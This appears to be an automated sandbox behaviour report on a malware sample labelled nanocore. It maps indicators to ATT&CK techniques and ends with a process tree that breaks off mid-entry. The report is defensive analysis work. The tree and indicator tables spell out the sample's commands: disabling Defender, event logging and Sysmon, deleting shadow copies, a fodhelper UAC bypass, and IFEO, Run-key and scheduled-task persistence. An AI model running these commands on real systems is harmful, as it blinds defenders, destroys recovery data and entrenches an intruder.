nanocore | 7c6f64983a02ad4efc30559dceaa73ff43bbf3639aba2f0c5951c2dc3929ec59

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilactv.quest_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilactv.quest_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5252	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilactv.quest_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilactv.quest_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3312	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	xoilactv.quest_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv.quest_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilactv.quest_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv.quest_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3356	net.exe
5228	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2408	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	xoilactv.quest_nano.exe
File created	C:\Windows\system32\sysupdate.exe	xoilactv.quest_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilactv.quest_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilactv.quest_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilactv.quest_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilactv.quest_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
900	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilactv.quest_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
404	xoilactv.quest_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3812	sc.exe
5088	sc.exe
2472	sc.exe
2316	sc.exe
5684	sc.exe
5864	sc.exe
3356	sc.exe
3756	sc.exe
2360	sc.exe
5124	sc.exe
5564	sc.exe
6136	sc.exe
4800	sc.exe
2936	sc.exe
2312	sc.exe
5208	sc.exe
1660	sc.exe
2940	sc.exe
6116	sc.exe
1684	sc.exe
3732	sc.exe
5492	sc.exe
3312	sc.exe
628	sc.exe
6076	sc.exe
2468	sc.exe
2596	sc.exe
5040	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3140	cmd.exe
5256	cmd.exe
3960	cmd.exe
4688	cmd.exe
5420	cmd.exe
5680	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5520	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5860	ipconfig.exe
856	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
620	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6004	vssadmin.exe
3504	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilactv.quest_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe\" \"%1\""	xoilactv.quest_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	xoilactv.quest_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	xoilactv.quest_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.quest_nano.exe"	xoilactv.quest_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	xoilactv.quest_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilactv.quest_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	xoilactv.quest_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\.pdf\ = "PDFBotnet"	xoilactv.quest_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilactv.quest_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	xoilactv.quest_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4080	schtasks.exe
3968	schtasks.exe
1160	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5252	powershell.exe
5252	powershell.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe
404	xoilactv.quest_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
404	xoilactv.quest_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe
Token: 35	2728	WMIC.exe
Token: 36	2728	WMIC.exe
Token: SeDebugPrivilege	404	xoilactv.quest_nano.exe
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe
Token: 35	2728	WMIC.exe
Token: 36	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	404	xoilactv.quest_nano.exe
Token: SeDebugPrivilege	2408	tasklist.exe
Token: SeDebugPrivilege	856	NETSTAT.EXE
Token: SeDebugPrivilege	3688	whoami.exe
Token: SeIncreaseQuotaPrivilege	4900	WMIC.exe
Token: SeSecurityPrivilege	4900	WMIC.exe
Token: SeTakeOwnershipPrivilege	4900	WMIC.exe
Token: SeLoadDriverPrivilege	4900	WMIC.exe
Token: SeSystemProfilePrivilege	4900	WMIC.exe
Token: SeSystemtimePrivilege	4900	WMIC.exe
Token: SeProfSingleProcessPrivilege	4900	WMIC.exe
Token: SeIncBasePriorityPrivilege	4900	WMIC.exe
Token: SeCreatePagefilePrivilege	4900	WMIC.exe
Token: SeBackupPrivilege	4900	WMIC.exe
Token: SeRestorePrivilege	4900	WMIC.exe
Token: SeShutdownPrivilege	4900	WMIC.exe
Token: SeDebugPrivilege	4900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4900	WMIC.exe
Token: SeRemoteShutdownPrivilege	4900	WMIC.exe
Token: SeUndockPrivilege	4900	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
404	xoilactv.quest_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 404 wrote to memory of 5252	404	xoilactv.quest_nano.exe	85
PID 404 wrote to memory of 5124	404	xoilactv.quest_nano.exe	87
PID 404 wrote to memory of 5564	404	xoilactv.quest_nano.exe	89
PID 404 wrote to memory of 6136	404	xoilactv.quest_nano.exe	91
PID 404 wrote to memory of 3312	404	xoilactv.quest_nano.exe	93
PID 404 wrote to memory of 4800	404	xoilactv.quest_nano.exe	95
PID 404 wrote to memory of 2936	404	xoilactv.quest_nano.exe	97
PID 404 wrote to memory of 628	404	xoilactv.quest_nano.exe	99
PID 404 wrote to memory of 1660	404	xoilactv.quest_nano.exe	180
PID 404 wrote to memory of 2312	404	xoilactv.quest_nano.exe	103
PID 404 wrote to memory of 2940	404	xoilactv.quest_nano.exe	105
PID 404 wrote to memory of 5088	404	xoilactv.quest_nano.exe	107
PID 404 wrote to memory of 5492	404	xoilactv.quest_nano.exe	179
PID 404 wrote to memory of 2472	404	xoilactv.quest_nano.exe	111
PID 404 wrote to memory of 2360	404	xoilactv.quest_nano.exe	113
PID 404 wrote to memory of 6076	404	xoilactv.quest_nano.exe	115
PID 404 wrote to memory of 2468	404	xoilactv.quest_nano.exe	117
PID 404 wrote to memory of 2316	404	xoilactv.quest_nano.exe	119
PID 404 wrote to memory of 2596	404	xoilactv.quest_nano.exe	121
PID 404 wrote to memory of 6116	404	xoilactv.quest_nano.exe	123
PID 404 wrote to memory of 5684	404	xoilactv.quest_nano.exe	125
PID 404 wrote to memory of 5864	404	xoilactv.quest_nano.exe	127
PID 404 wrote to memory of 3356	404	xoilactv.quest_nano.exe	192
PID 404 wrote to memory of 5208	404	xoilactv.quest_nano.exe	131
PID 404 wrote to memory of 5040	404	xoilactv.quest_nano.exe	133
PID 404 wrote to memory of 2200	404	xoilactv.quest_nano.exe	135
PID 404 wrote to memory of 1684	404	xoilactv.quest_nano.exe	136
PID 404 wrote to memory of 3812	404	xoilactv.quest_nano.exe	138
PID 404 wrote to memory of 6004	404	xoilactv.quest_nano.exe	140
PID 404 wrote to memory of 2728	404	xoilactv.quest_nano.exe	142
PID 404 wrote to memory of 3968	404	xoilactv.quest_nano.exe	146
PID 404 wrote to memory of 1160	404	xoilactv.quest_nano.exe	148
PID 2200 wrote to memory of 4356	2200	fodhelper.exe	149
PID 404 wrote to memory of 5256	404	xoilactv.quest_nano.exe	154
PID 404 wrote to memory of 3140	404	xoilactv.quest_nano.exe	156
PID 404 wrote to memory of 5680	404	xoilactv.quest_nano.exe	157
PID 404 wrote to memory of 5420	404	xoilactv.quest_nano.exe	158
PID 404 wrote to memory of 4688	404	xoilactv.quest_nano.exe	159
PID 404 wrote to memory of 3960	404	xoilactv.quest_nano.exe	160
PID 404 wrote to memory of 4080	404	xoilactv.quest_nano.exe	161
PID 404 wrote to memory of 900	404	xoilactv.quest_nano.exe	168
PID 5680 wrote to memory of 2408	5680	cmd.exe	170
PID 4688 wrote to memory of 5860	4688	cmd.exe	171
PID 3140 wrote to memory of 620	3140	cmd.exe	172
PID 3960 wrote to memory of 856	3960	cmd.exe	173
PID 5256 wrote to memory of 3504	5256	cmd.exe	174
PID 5420 wrote to memory of 3688	5420	cmd.exe	175
PID 5256 wrote to memory of 4900	5256	cmd.exe	176
PID 404 wrote to memory of 4432	404	xoilactv.quest_nano.exe	177
PID 404 wrote to memory of 1660	404	xoilactv.quest_nano.exe	180
PID 404 wrote to memory of 3312	404	xoilactv.quest_nano.exe	181
PID 404 wrote to memory of 3732	404	xoilactv.quest_nano.exe	183
PID 404 wrote to memory of 3756	404	xoilactv.quest_nano.exe	184
PID 404 wrote to memory of 2196	404	xoilactv.quest_nano.exe	185
PID 404 wrote to memory of 5520	404	xoilactv.quest_nano.exe	186
PID 1660 wrote to memory of 3492	1660	net.exe	191
PID 404 wrote to memory of 3356	404	xoilactv.quest_nano.exe	192
PID 404 wrote to memory of 5568	404	xoilactv.quest_nano.exe	194
PID 3356 wrote to memory of 5228	3356	net.exe	196
PID 5568 wrote to memory of 4312	5568	net.exe	197

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:5088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:5492
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:6076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:2468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:2596
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:6116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:5684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:5864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:3356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:5208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:5040
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe"
    3⤵
    PID:4356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3812
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6004
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3968
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5256
- - C:\Windows\system32\vssadmin.exe
